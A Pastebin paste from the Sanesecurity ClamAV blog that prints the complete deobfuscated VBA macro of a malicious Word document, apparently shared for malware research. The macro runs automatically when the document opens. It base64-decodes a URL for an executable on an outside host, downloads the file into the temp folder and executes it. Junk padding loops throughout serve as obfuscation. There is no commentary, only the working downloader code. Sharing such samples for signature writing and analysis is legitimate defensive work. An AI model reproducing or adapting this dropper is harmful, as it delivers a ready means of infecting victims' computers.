SHARE
TWEET

SPOTLESS CLEANING decoded 3

Sanesecurity Jan 29th, 2015 34 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. http://sanesecurity.blogspot.co.uk
  2. Sanesecurity ClamAV blog: zero hour malware, phishing and scams
  3. A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
  4.  
  5. Attribute VB_Name = "ThisDocument"
  6. Attribute VB_Base = "1Normal.ThisDocument"
  7. Attribute VB_GlobalNameSpace = False
  8. Attribute VB_Creatable = False
  9. Attribute VB_PredeclaredId = True
  10. Attribute VB_Exposed = True
  11. Attribute VB_TemplateDerived = True
  12. Attribute VB_Customizable = True
  13. #If VBA7 Then
  14.     Private Declare PtrSafe Function gHBBjodhnsf Lib "urlmon" Alias _
  15.     "URLDownloadToFileA" (ByVal BsjxHq As LongPtr, _
  16.     ByVal PqMao As String, _
  17.     ByVal ZdCqoiA As String, _
  18.     ByVal qOUQcfuPQbkf As Long, _
  19.     ByVal rLeZNuCDBGrl As LongPtr) As LongPtr
  20. #Else
  21.     Private Declare Function gHBBjodhnsf Lib "urlmon" Alias _
  22.     "URLDownloadToFileA" (ByVal BsjxHq As Long, _
  23.     ByVal PqMao As String, _
  24.     ByVal ZdCqoiA As String, _
  25.     ByVal qOUQcfuPQbkf As Long, _
  26.     ByVal rLeZNuCDBGrl As Long) As Long
  27. #End If
  28. Private aDecTab(255) As Integer
  29. Sub jiyCFwVleNvx()
  30. zNYsGtgG
  31. Dim DLBhcd As Integer
  32. DLBhcd = 1798
  33. Do While DLBhcd < 1798 + 10
  34. DLBhcd = DLBhcd + 1: DoEvents
  35. Loop
  36. End Sub
  37. Sub ElDpt()
  38.     jiyCFwVleNvx
  39. Dim jIjuo As Integer
  40. jIjuo = 2400
  41. Do While jIjuo < 2400 + 10
  42. jIjuo = jIjuo + 1: DoEvents
  43. Loop
  44. End Sub
  45. Sub autoopen()
  46.     jiyCFwVleNvx
  47. Dim PcPNHaQt As Integer
  48. PcPNHaQt = 2304
  49. Do While PcPNHaQt < 2304 + 10
  50. PcPNHaQt = PcPNHaQt + 1: DoEvents
  51. Loop
  52. End Sub
  53. Sub zNYsGtgG()
  54.  
  55. Dim ubtfjIjuoGD As Integer
  56. ubtfjIjuoGD = 787
  57. Do While ubtfjIjuoGD < 787 + 10
  58. ubtfjIjuoGD = ubtfjIjuoGD + 1: DoEvents
  59. Loop
  60.  ViapiNU ITXQDR("aHR0cDovL2phbWVzZGV2LmNvLnVrL2pzL2Jpbi5leGU="), Environ(ITXQDR("VE1Q")) & ITXQDR("XGhEbnlEQS5leGU=")
  61. Dim Qtdot As Integer
  62. Qtdot = 1735
  63. Do While Qtdot < 1735 + 10
  64. Qtdot = Qtdot + 1: DoEvents
  65. Loop
  66. End Sub
  67. Function ViapiNU(BueLOj As String, eaJQwwYgsUo As String) As Boolean
  68.     JjJUOhQ = gHBBjodhnsf(0&, BueLOj, eaJQwwYgsUo, 0&, 0&)
  69. Dim oGDawUMI As Integer
  70. oGDawUMI = 942
  71. Do While oGDawUMI < 942 + 10
  72. oGDawUMI = oGDawUMI + 1: DoEvents
  73. Loop
  74.    Dim inkvMbjktRLp
  75. Dim cdbgQJ As Integer
  76. cdbgQJ = 310
  77. Do While cdbgQJ < 310 + 10
  78. cdbgQJ = cdbgQJ + 1: DoEvents
  79. Loop
  80.     inkvMbjktRLp = Shell(eaJQwwYgsUo, 1)
  81. Dim mNViKe As Integer
  82. mNViKe = 1417
  83. Do While mNViKe < 1417 + 10
  84. mNViKe = mNViKe + 1: DoEvents
  85. Loop
  86. End Function
  87.  
  88.  
  89. Public Function ITXQDR(sEncoded As String) As String
  90. Dim sDecoded As String
  91. Dim gEKGRUkFGQ As Integer
  92. gEKGRUkFGQ = 1008
  93. Do While gEKGRUkFGQ < 1008 + 10
  94. gEKGRUkFGQ = gEKGRUkFGQ + 1: DoEvents
  95. Loop
  96. Dim d(3) As Byte
  97. Dim ULNFfHmkR As Integer
  98. ULNFfHmkR = 311
  99. Do While ULNFfHmkR < 311 + 10
  100. ULNFfHmkR = ULNFfHmkR + 1: DoEvents
  101. Loop
  102. Dim C As Byte
  103. Dim bSDlnIlpDNwjVwSR As Integer
  104. bSDlnIlpDNwjVwSR = 879
  105. Do While bSDlnIlpDNwjVwSR < 879 + 10
  106. bSDlnIlpDNwjVwSR = bSDlnIlpDNwjVwSR + 1: DoEvents
  107. Loop
  108. Dim di As Integer
  109. Dim tdotqBSTpqzY As Integer
  110. tdotqBSTpqzY = 1894
  111. Do While tdotqBSTpqzY < 1894 + 10
  112. tdotqBSTpqzY = tdotqBSTpqzY + 1: DoEvents
  113. Loop
  114. Dim i As Long
  115. Dim qlOQxRQfUAIJMkrydppEIL As Integer
  116. qlOQxRQfUAIJMkrydppEIL = 1356
  117. Do While qlOQxRQfUAIJMkrydppEIL < 1356 + 10
  118. qlOQxRQfUAIJMkrydppEIL = qlOQxRQfUAIJMkrydppEIL + 1: DoEvents
  119. Loop
  120. Dim nLen As Long
  121. Dim DLBhcdgQJRvHYceVvYCnjQr As Integer
  122. DLBhcdgQJRvHYceVvYCnjQr = 753
  123. Do While DLBhcdgQJRvHYceVvYCnjQr < 753 + 10
  124. DLBhcdgQJRvHYceVvYCnjQr = DLBhcdgQJRvHYceVvYCnjQr + 1: DoEvents
  125. Loop
  126. Dim iIndex As Long
  127. Dim QLMKPA As Integer
  128. QLMKPA = 689
  129. Do While QLMKPA < 689 + 10
  130. QLMKPA = QLMKPA + 1: DoEvents
  131. Loop
  132. nLen = Len(sEncoded)
  133. Dim fUAIJHMkrydp As Integer
  134. fUAIJHMkrydp = 2019
  135. Do While fUAIJHMkrydp < 2019 + 10
  136. fUAIJHMkrydp = fUAIJHMkrydp + 1: DoEvents
  137. Loop
  138. sDecoded = String((nLen \ 4) * 3, " ")
  139. Dim NiwjVwSRutfjIj As Integer
  140. NiwjVwSRutfjIj = 1068
  141. Do While NiwjVwSRutfjIj < 1068 + 10
  142. NiwjVwSRutfjIj = NiwjVwSRutfjIj + 1: DoEvents
  143. Loop
  144. iIndex = 0
  145. Dim trwhbiL As Integer
  146. trwhbiL = 1292
  147. Do While trwhbiL < 1292 + 10
  148. trwhbiL = trwhbiL + 1: DoEvents
  149. Loop
  150. di = 0
  151. Dim JfULakSSFFhp As Integer
  152. JfULakSSFFhp = 482
  153. Do While JfULakSSFFhp < 482 + 10
  154. JfULakSSFFhp = JfULakSSFFhp + 1: DoEvents
  155. Loop
  156. Call auo5an
  157. Dim rvyqO As Integer
  158. rvyqO = 672
  159. Do While rvyqO < 672 + 10
  160. rvyqO = rvyqO + 1: DoEvents
  161. Loop
  162. ' Read in each char in trun
  163. Dim SFFhpCexdBS As Integer
  164. SFFhpCexdBS = 388
  165. Do While SFFhpCexdBS < 388 + 10
  166. SFFhpCexdBS = SFFhpCexdBS + 1: DoEvents
  167. Loop
  168. For i = 1 To Len(sEncoded)
  169. Dim rLosGQm As Integer
  170. rLosGQm = 449
  171. Do While rLosGQm < 449 + 10
  172. rLosGQm = rLosGQm + 1: DoEvents
  173. Loop
  174. C = CByte(Asc(Mid(sEncoded, i, 1)))
  175. Dim CexdBSf As Integer
  176. CexdBSf = 1746
  177. Do While CexdBSf < 1746 + 10
  178. CexdBSf = CexdBSf + 1: DoEvents
  179. Loop
  180. C = aDecTab(C)
  181. Dim imLmxrJG As Integer
  182. imLmxrJG = 2351
  183. Do While imLmxrJG < 2351 + 10
  184. imLmxrJG = imLmxrJG + 1: DoEvents
  185. Loop
  186. If C >= 0 Then
  187. Dim fiZybqmavlcqAjj As Integer
  188. fiZybqmavlcqAjj = 1779
  189. Do While fiZybqmavlcqAjj < 1779 + 10
  190. fiZybqmavlcqAjj = fiZybqmavlcqAjj + 1: DoEvents
  191. Loop
  192. d(di) = C
  193. Dim QZlNhMk As Integer
  194. QZlNhMk = 1082
  195. Do While QZlNhMk < 1082 + 10
  196. QZlNhMk = QZlNhMk + 1: DoEvents
  197. Loop
  198. di = di + 1
  199. Dim cqAjjVjFShOgRVvk As Integer
  200. cqAjjVjFShOgRVvk = 894
  201. Do While cqAjjVjFShOgRVvk < 894 + 10
  202. cqAjjVjFShOgRVvk = cqAjjVjFShOgRVvk + 1: DoEvents
  203. Loop
  204. If di = 4 Then
  205. Dim KdMjSekgrIQ As Integer
  206. KdMjSekgrIQ = 1319
  207. Do While KdMjSekgrIQ < 1319 + 10
  208. KdMjSekgrIQ = KdMjSekgrIQ + 1: DoEvents
  209. Loop
  210. Mid$(sDecoded, iIndex + 1, 3) = utjk(d)
  211. Dim RjUZyn As Integer
  212. RjUZyn = 2458
  213. Do While RjUZyn < 2458 + 10
  214. RjUZyn = RjUZyn + 1: DoEvents
  215. Loop
  216. iIndex = iIndex + 3
  217. Dim IKfHM As Integer
  218. IKfHM = 149
  219. Do While IKfHM < 149 + 10
  220. IKfHM = IKfHM + 1: DoEvents
  221. Loop
  222. If d(3) = 64 Then
  223. Dim mZLnJV As Integer
  224. mZLnJV = 2269
  225. Do While mZLnJV < 2269 + 10
  226. mZLnJV = mZLnJV + 1: DoEvents
  227. Loop
  228. sDecoded = Left(sDecoded, Len(sDecoded) - 1)
  229. Dim TcpQkPo As Integer
  230. TcpQkPo = 146
  231. Do While TcpQkPo < 146 + 10
  232. TcpQkPo = TcpQkPo + 1: DoEvents
  233. Loop
  234. iIndex = iIndex - 1
  235. Dim VkRjUZynke As Integer
  236. VkRjUZynke = 274
  237. Do While VkRjUZynke < 274 + 10
  238. VkRjUZynke = VkRjUZynke + 1: DoEvents
  239. Loop
  240. End If
  241. Dim SssTcpQkPFgFQKdM As Integer
  242. SssTcpQkPFgFQKdM = 653
  243. Do While SssTcpQkPFgFQKdM < 653 + 10
  244. SssTcpQkPFgFQKdM = SssTcpQkPFgFQKdM + 1: DoEvents
  245. Loop
  246. If d(2) = 64 Then
  247. Dim uOrvJTp As Integer
  248. uOrvJTp = 2013
  249. Do While uOrvJTp < 2013 + 10
  250. uOrvJTp = uOrvJTp + 1: DoEvents
  251. Loop
  252. sDecoded = Left(sDecoded, Len(sDecoded) - 1)
  253. Dim qZZLLn As Integer
  254. qZZLLn = 604
  255. Do While qZZLLn < 604 + 10
  256. qZZLLn = qZZLLn + 1: DoEvents
  257. Loop
  258. iIndex = iIndex - 1
  259. Dim krVjiyB As Integer
  260. krVjiyB = 2376
  261. Do While krVjiyB < 2376 + 10
  262. krVjiyB = krVjiyB + 1: DoEvents
  263. Loop
  264. End If
  265. Dim ZZLLnwI As Integer
  266. ZZLLnwI = 1079
  267. Do While ZZLLnwI < 1079 + 10
  268. ZZLLnwI = ZZLLnwI + 1: DoEvents
  269. Loop
  270. di = 0
  271. Dim tfGdcDlCo As Integer
  272. tfGdcDlCo = 2471
  273. Do While tfGdcDlCo < 2471 + 10
  274. tfGdcDlCo = tfGdcDlCo + 1: DoEvents
  275. Loop
  276. End If
  277. Dim nxDzLcdyAhOrHouNVKq As Integer
  278. nxDzLcdyAhOrHouNVKq = 1206
  279. Do While nxDzLcdyAhOrHouNVKq < 1206 + 10
  280. nxDzLcdyAhOrHouNVKq = nxDzLcdyAhOrHouNVKq + 1: DoEvents
  281. Loop
  282. End If
  283. Dim eJSTRQu As Integer
  284. eJSTRQu = 127
  285. Do While eJSTRQu < 127 + 10
  286. eJSTRQu = eJSTRQu + 1: DoEvents
  287. Loop
  288. Next i
  289. Dim ogEiMw As Integer
  290. ogEiMw = 1045
  291. Do While ogEiMw < 1045 + 10
  292. ogEiMw = ogEiMw + 1: DoEvents
  293. Loop
  294.  ITXQDR = sDecoded
  295. Dim ekshMVQUax As Integer
  296. ekshMVQUax = 1691
  297. Do While ekshMVQUax < 1691 + 10
  298. ekshMVQUax = ekshMVQUax + 1: DoEvents
  299. Loop
  300. End Function
  301. Private Function utjk(d() As Byte) As String
  302. Dim sOutput As String
  303. Dim xQZOupp As Integer
  304. xQZOupp = 553
  305. Do While xQZOupp < 553 + 10
  306. xQZOupp = xQZOupp + 1: DoEvents
  307. Loop
  308. Dim C As Long
  309. Dim FrvVwHBQnJiaViyNjQg As Integer
  310. FrvVwHBQnJiaViyNjQg = 1502
  311. Do While FrvVwHBQnJiaViyNjQg < 1502 + 10
  312. FrvVwHBQnJiaViyNjQg = FrvVwHBQnJiaViyNjQg + 1: DoEvents
  313. Loop
  314. sOutput = vbNullString
  315. Dim pdaTmGqAGCO As Integer
  316. pdaTmGqAGCO = 1060
  317. Do While pdaTmGqAGCO < 1060 + 10
  318. pdaTmGqAGCO = pdaTmGqAGCO + 1: DoEvents
  319. Loop
  320. C = nGkl0avyll(d(0)) Or (NZ5Ef7Abl(d(1)) And &H3)
  321. Dim QnJiaViyNjQg As Integer
  322. QnJiaViyNjQg = 1502
  323. Do While QnJiaViyNjQg < 1502 + 10
  324. QnJiaViyNjQg = QnJiaViyNjQg + 1: DoEvents
  325. Loop
  326. sOutput = sOutput & Chr$(C)
  327. Dim Rxstr As Integer
  328. Rxstr = 566
  329. Do While Rxstr < 566 + 10
  330. Rxstr = Rxstr + 1: DoEvents
  331. Loop
  332. C = JcX2DMsRAZ(d(1) And &HF) Or (W1UISPoYNMC(d(2)) And &HF)
  333. Dim zZzKEQTq As Integer
  334. zZzKEQTq = 631
  335. Do While zZzKEQTq < 631 + 10
  336. zZzKEQTq = zZzKEQTq + 1: DoEvents
  337. Loop
  338. sOutput = sOutput & Chr$(C)
  339. Dim iZmwgfS As Integer
  340. iZmwgfS = 59
  341. Do While iZmwgfS < 59 + 10
  342. iZmwgfS = iZmwgfS + 1: DoEvents
  343. Loop
  344. C = DM2OBrHOe(d(2) And &H3) Or d(3)
  345. Dim poEIK As Integer
  346. poEIK = 1422
  347. Do While poEIK < 1422 + 10
  348. poEIK = poEIK + 1: DoEvents
  349. Loop
  350. sOutput = sOutput & Chr$(C)
  351. Dim eVuYC As Integer
  352. eVuYC = 1989
  353. Do While eVuYC < 1989 + 10
  354. eVuYC = eVuYC + 1: DoEvents
  355. Loop
  356.  utjk = sOutput
  357. Dim cEIQhBPCpP As Integer
  358. cEIQhBPCpP = 2288
  359. Do While cEIQhBPCpP < 2288 + 10
  360. cEIQhBPCpP = cEIQhBPCpP + 1: DoEvents
  361. Loop
  362. End Function
  363. Private Function auo5an()
  364. Dim t As Integer
  365. Dim GOEkfgeTbiyZZ As Integer
  366. GOEkfgeTbiyZZ = 1721
  367. Do While GOEkfgeTbiyZZ < 1721 + 10
  368. GOEkfgeTbiyZZ = GOEkfgeTbiyZZ + 1: DoEvents
  369. Loop
  370. Dim C As Integer
  371. Dim ealoDZaktoRh As Integer
  372. ealoDZaktoRh = 1657
  373. Do While ealoDZaktoRh < 1657 + 10
  374. ealoDZaktoRh = ealoDZaktoRh + 1: DoEvents
  375. Loop
  376. For C = 0 To 255
  377. Dim sSeYqawgrwt As Integer
  378. sSeYqawgrwt = 580
  379. Do While sSeYqawgrwt < 580 + 10
  380. sSeYqawgrwt = sSeYqawgrwt + 1: DoEvents
  381. Loop
  382. aDecTab(C) = -1
  383. Dim loDZa As Integer
  384. loDZa = 771
  385. Do While loDZa < 771 + 10
  386. loDZa = loDZa + 1: DoEvents
  387. Loop
  388. Next
  389. Dim eYqawgrwtEVk As Integer
  390. eYqawgrwtEVk = 75
  391. Do While eYqawgrwtEVk < 75 + 10
  392. eYqawgrwtEVk = eYqawgrwtEVk + 1: DoEvents
  393. Loop
  394. t = 0
  395. Dim pcCZmAizl As Integer
  396. pcCZmAizl = 973
  397. Do While pcCZmAizl < 973 + 10
  398. pcCZmAizl = pcCZmAizl + 1: DoEvents
  399. Loop
  400. For C = Asc("A") To Asc("Z")
  401. Dim NGqZbvYc As Integer
  402. NGqZbvYc = 468
  403. Do While NGqZbvYc < 468 + 10
  404. NGqZbvYc = NGqZbvYc + 1: DoEvents
  405. Loop
  406. aDecTab(C) = t
  407. Dim aJFuOEvJ As Integer
  408. aJFuOEvJ = 2048
  409. Do While aJFuOEvJ < 2048 + 10
  410. aJFuOEvJ = aJFuOEvJ + 1: DoEvents
  411. Loop
  412. t = t + 1
  413. Dim ggfkGNUzMLcf As Integer
  414. ggfkGNUzMLcf = 1386
  415. Do While ggfkGNUzMLcf < 1386 + 10
  416. ggfkGNUzMLcf = ggfkGNUzMLcf + 1: DoEvents
  417. Loop
  418. Next
  419. Dim bETAHaiY As Integer
  420. bETAHaiY = 500
  421. Do While bETAHaiY < 500 + 10
  422. bETAHaiY = bETAHaiY + 1: DoEvents
  423. Loop
  424. For C = Asc("a") To Asc("z")
  425. Dim qQrwEua As Integer
  426. qQrwEua = 1017
  427. Do While qQrwEua < 1017 + 10
  428. qQrwEua = qQrwEua + 1: DoEvents
  429. Loop
  430. aDecTab(C) = t
  431. Dim YpBqnhzwT As Integer
  432. YpBqnhzwT = 2315
  433. Do While YpBqnhzwT < 2315 + 10
  434. YpBqnhzwT = YpBqnhzwT + 1: DoEvents
  435. Loop
  436. t = t + 1
  437. Dim PdnIVJvQtr As Integer
  438. PdnIVJvQtr = 890
  439. Do While PdnIVJvQtr < 890 + 10
  440. PdnIVJvQtr = PdnIVJvQtr + 1: DoEvents
  441. Loop
  442. Next
  443. Dim KshBriwGpp As Integer
  444. KshBriwGpp = 2472
  445. Do While KshBriwGpp < 2472 + 10
  446. KshBriwGpp = KshBriwGpp + 1: DoEvents
  447. Loop
  448. For C = Asc("0") To Asc("9")
  449. Dim awvQEVHL As Integer
  450. awvQEVHL = 2391
  451. Do While awvQEVHL < 2391 + 10
  452. awvQEVHL = awvQEVHL + 1: DoEvents
  453. Loop
  454. aDecTab(C) = t
  455. Dim jHlPNvk As Integer
  456. jHlPNvk = 1283
  457. Do While jHlPNvk < 1283 + 10
  458. jHlPNvk = jHlPNvk + 1: DoEvents
  459. Loop
  460. t = t + 1
  461. Dim exrhMVVUaK As Integer
  462. exrhMVVUaK = 272
  463. Do While exrhMVVUaK < 272 + 10
  464. exrhMVVUaK = exrhMVVUaK + 1: DoEvents
  465. Loop
  466. Next
  467. Dim poseksI As Integer
  468. poseksI = 2359
  469. Do While poseksI < 2359 + 10
  470. poseksI = poseksI + 1: DoEvents
  471. Loop
  472. C = Asc("+")
  473. Dim bSsHzkRToQVj As Integer
  474. bSsHzkRToQVj = 1994
  475. Do While bSsHzkRToQVj < 1994 + 10
  476. bSsHzkRToQVj = bSsHzkRToQVj + 1: DoEvents
  477. Loop
  478. aDecTab(C) = t
  479. Dim mKoSQynH As Integer
  480. mKoSQynH = 1138
  481. Do While mKoSQynH < 1138 + 10
  482. mKoSQynH = mKoSQynH + 1: DoEvents
  483. Loop
  484. t = t + 1
  485. Dim hAvkPZaYdNG As Integer
  486. hAvkPZaYdNG = 1202
  487. Do While hAvkPZaYdNG < 1202 + 10
  488. hAvkPZaYdNG = hAvkPZaYdNG + 1: DoEvents
  489. Loop
  490. C = Asc("/")
  491. Dim hovLmlBr As Integer
  492. hovLmlBr = 315
  493. Do While hovLmlBr < 315 + 10
  494. hovLmlBr = hovLmlBr + 1: DoEvents
  495. Loop
  496. aDecTab(C) = t
  497. Dim PZaYdN As Integer
  498. PZaYdN = 1836
  499. Do While PZaYdN < 1836 + 10
  500. PZaYdN = PZaYdN + 1: DoEvents
  501. Loop
  502. t = t + 1
  503. Dim wuzkryOq As Integer
  504. wuzkryOq = 1932
  505. Do While wuzkryOq < 1932 + 10
  506. wuzkryOq = wuzkryOq + 1: DoEvents
  507. Loop
  508. C = Asc("=")
  509. Dim EyoTdd As Integer
  510. EyoTdd = 1710
  511. Do While EyoTdd < 1710 + 10
  512. EyoTdd = EyoTdd + 1: DoEvents
  513. Loop
  514. aDecTab(C) = t  ' should be 64
  515. Dim xEQfUAvwuzk As Integer
  516. xEQfUAvwuzk = 348
  517. Do While xEQfUAvwuzk < 348 + 10
  518. xEQfUAvwuzk = xEQfUAvwuzk + 1: DoEvents
  519. Loop
  520. End Function
  521. Private Function nGkl0avyll(ByVal bytValue As Byte) As Byte
  522.  nGkl0avyll = (bytValue * &H4) And &HFF
  523. Dim iayNG As Integer
  524. iayNG = 900
  525. Do While iayNG < 900 + 10
  526. iayNG = iayNG + 1: DoEvents
  527. Loop
  528. End Function
  529. Private Function JcX2DMsRAZ(ByVal bytValue As Byte) As Byte
  530.  JcX2DMsRAZ = (bytValue * &H10) And &HFF
  531. Dim StsIyBtRu As Integer
  532. StsIyBtRu = 46
  533. Do While StsIyBtRu < 46 + 10
  534. StsIyBtRu = StsIyBtRu + 1: DoEvents
  535. Loop
  536. End Function
  537. Private Function DM2OBrHOe(ByVal bytValue As Byte) As Byte
  538.  DM2OBrHOe = (bytValue * &H40) And &HFF
  539. Dim fkUNUz As Integer
  540. fkUNUz = 14
  541. Do While fkUNUz < 14 + 10
  542. fkUNUz = fkUNUz + 1: DoEvents
  543. Loop
  544. End Function
  545. Private Function W1UISPoYNMC(ByVal bytValue As Byte) As Byte
  546.  W1UISPoYNMC = bytValue \ &H4
  547. Dim SUAHbjY As Integer
  548. SUAHbjY = 521
  549. Do While SUAHbjY < 521 + 10
  550. SUAHbjY = SUAHbjY + 1: DoEvents
  551. Loop
  552. End Function
  553. Private Function NZ5Ef7Abl(ByVal bytValue As Byte) As Byte
  554.  NZ5Ef7Abl = bytValue \ &H10
  555. Dim avxGQLpEQr As Integer
  556. avxGQLpEQr = 407
  557. Do While avxGQLpEQr < 407 + 10
  558. avxGQLpEQr = avxGQLpEQr + 1: DoEvents
  559. Loop
  560. End Function
  561. Private Function hQpn(ByVal bytValue As Byte) As Byte
  562.  hQpn = bytValue \ &H40
  563. Dim BvNwTDN As Integer
  564. BvNwTDN = 501
  565. Do While BvNwTDN < 501 + 10
  566. BvNwTDN = BvNwTDN + 1: DoEvents
  567. Loop
  568. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top